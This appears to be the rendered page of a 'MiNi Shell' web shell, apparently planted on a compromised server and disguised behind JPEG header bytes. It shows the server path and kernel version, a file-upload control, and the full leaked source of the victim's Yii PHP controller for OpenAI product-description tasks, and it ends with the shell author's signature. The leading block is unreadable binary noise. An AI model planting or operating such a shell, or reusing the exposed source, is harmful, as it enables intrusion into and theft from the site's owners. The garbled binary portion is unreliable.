JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/ProductsopenaiController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\TasksGeneratingProducts;
use backend\models\TasksGeneratingProductsSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\AccessControl;

/**
 * ProductsopenaiController implements the CRUD actions for TasksGeneratingProducts model.
 */
class ProductsopenaiController extends Controller
{
    use \backend\components\traits\OpenAITasksFunctions;
    
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    ['allow' => true, 'actions' => ['index'], 'roles' => ['indexTasksGeneratingProducts']],
                    ['allow' => true, 'actions' => ['view'], 'roles' => ['viewTasksGeneratingProducts']],
                    ['allow' => true, 'actions' => ['create', 'update', 'products-list', 'get-company-data', 'get-product-data', 'run-now', 'set-as-waiting'], 'roles' => ['modifyTasksGeneratingProducts']],
                    ['allow' => true, 'actions' => ['delete'], 'roles' => ['deleteTasksGeneratingProducts']],
                    ['allow' => true, 'actions' => ['set-as-used'], 'roles' => ['setAsUsedTasksGeneratingProducts']],
                ]
            ]
        ];
    }
    
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'set-as-waiting' => [
                'class' => '\backend\controllers\actions\SetTaskOpenAIAsWaitingAction',
                'modelClass' => '\common\models\TasksGeneratingProducts',
                'additionalFields' => ['output_lead', 'output_description']
            ],
        ];
    }

    /**
     * Lists all TasksGeneratingProducts models.
     * @return mixed
     */
    public function actionIndex()
    {        
        $searchModel = new TasksGeneratingProductsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single TasksGeneratingProducts model.
     * @param string $id
     * @return mixed
     */
    public function actionView($id)
    {
        return $this->render('view', [
            'model' => $this->findModel($id),
        ]);
    }

    /**
     * Creates a new TasksGeneratingProducts model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {     
        $model = new TasksGeneratingProducts();
        $model->status = \common\models\types\TaskOpenAIStatus::WAITING;
        $model->number_of_words = 1000;
        
        $outputParams = [
            'model' => $model
        ]; 
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_product', 'emails']);
        }
        
        if(Yii::$app->request->getIsPost()) {            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            $model->status = \common\models\types\TaskOpenAIStatus::WAITING;
                     
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $model);
            }
            
            
            
            //@todo proteza
//            $model->status = \common\models\types\TaskOpenAIStatus::UNUSED;
//            $model->output_lead = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque luctus aliquam velit nec vehicula. Sed sed sem metus. Nam pulvinar ac eros ut rhoncus. Phasellus laoreet ex sapien, sit amet euismod ipsum interdum et. Aliquam facilisis massa leo, eget porttitor velit luctus placerat. Integer eu hendrerit orci. Vestibulum odio mi, feugiat id rhoncus ac, tempus vel elit. In sed consectetur neque.';
//            $model->output_description = ' Etiam maximus, neque vel bibendum molestie, ex enim bibendum orci, at semper turpis orci sed risus. Aenean et quam rutrum metus venenatis elementum id vel nisl. Aenean vehicula elit eget enim ullamcorper, sed varius diam aliquet. Nunc iaculis risus vel volutpat maximus. Pellentesque tempus sodales nunc, ut tempus lectus mattis ac. Aenean felis nunc, tincidunt vitae enim ut, sodales sodales sem. Nullam non lorem convallis, malesuada tortor eget, laoreet purus. Ut lacus tellus, condimentum ut molestie et, maximus id nisi. Fusce vitae accumsan libero. Donec elementum imperdiet erat eget dignissim. Duis vulputate massa non metus aliquam ultricies. In et risus rhoncus, volutpat neque suscipit, euismod velit. Mauris eget ornare leo, sit amet bibendum dui. Sed vitae efficitur sem, sed luctus lorem. Integer in magna nec justo condimentum euismod ut eget urna. Aliquam erat volutpat. Suspendisse potenti. Sed dolor eros, porta ut scelerisque imperdiet, interdum eget mauris. Fusce eget tristique magna, ac volutpat lacus. In hac habitasse platea dictumst. Cras rhoncus condimentum ex, vitae condimentum leo viverra dignissim. Curabitur commodo felis sit amet augue lacinia pharetra. Aenean in nibh tortor. Quisque scelerisque bibendum felis, et auctor leo viverra vel. Phasellus mollis finibus enim, eu porta quam porttitor ut. Cras vitae magna est. Vestibulum quis tellus vel tellus hendrerit varius ut sit amet felis.';
            
            
            
            if($model->save(false)) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->_id]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            }
        }
        
        return $this->render('create', $outputParams);
    }
    
    /**
     * Updates an existing TasksGeneratingProducts model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param string $id
     * @return mixed
     */
    public function actionUpdate($id)
    {     
        $model = $this->findModel($id);
        
        $modelProduct = \common\models\Products::find()->with(['company'])->where(['id_product' => $model->id_product])->one();
        
        $outputParams = [
            'model' => $model,
            'companyName' => !empty($modelProduct) ? $modelProduct->company->name : null,
            'productName' => !empty($modelProduct) ? $modelProduct->name : null,
            'presentationsTags' => $this->getCompanyTags($modelProduct->id_company),
            'productTags' => !empty($modelProduct) ? array_map(function($modelTag) { return $modelTag->name; }, $modelProduct->tags) : null,
        ]; 
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_product', 'emails']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldStatus = $model->status;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            if($oldStatus !== \common\models\types\TaskOpenAIStatus::WAITING && $model->status === \common\models\types\TaskOpenAIStatus::WAITING) {
                $model->error_message = null;
                $model->parsed_command = null;
                $model->raw_response = null;
            }
                     
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $model);
            }
            
            if($model->save(false)) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->_id]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            }
        }
        
        return $this->render('update', $outputParams);
    }
    
    /**
     * Deletes an existing TasksGeneratingProducts model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param string $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);        
                
        if($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }        
        
        return $this->redirect(['index']);
    }
    
    public function actionSetAsUsed()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(!Yii::$app->request->isPost || !Yii::$app->request->isAjax) {
            return false;
        }
        
        $id = Yii::$app->request->post('id');        
        if(empty($id)) {
            return false;
        }
        
        $model = TasksGeneratingProducts::findOne((string)$id);
        if(empty($model)) {
            return false;
        }
        
        $model->status = \common\models\types\TaskOpenAIStatus::OK;        
        if(!$model->save(false)) {
            return false;
        }      
        
        return true;
    }

    /**
     * Finds the TasksGeneratingProducts model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param string $id
     * @return TasksGeneratingProducts the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = TasksGeneratingProducts::findOne((string)$id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    public function actionProductsList()
    {
        $searchModel = new \backend\models\ProductsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('products_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionRunNow($id)
    {
        $modelTask = $this->findModel($id);

        if($modelTask->status !== \common\models\types\TaskOpenAIStatus::WAITING) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $modelTask->_id]); 
        }
        
        exec('php ../../yii open-ai/generate-product-description --idTask='.(string)$modelTask->_id, $output, $resultCode);
        
        if($resultCode === 0) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie wykonano zadanie.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd: {error}', ['error' => array_pop($output)]));
        }
        
        return $this->redirect(['view', 'id' => $modelTask->_id]);        
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com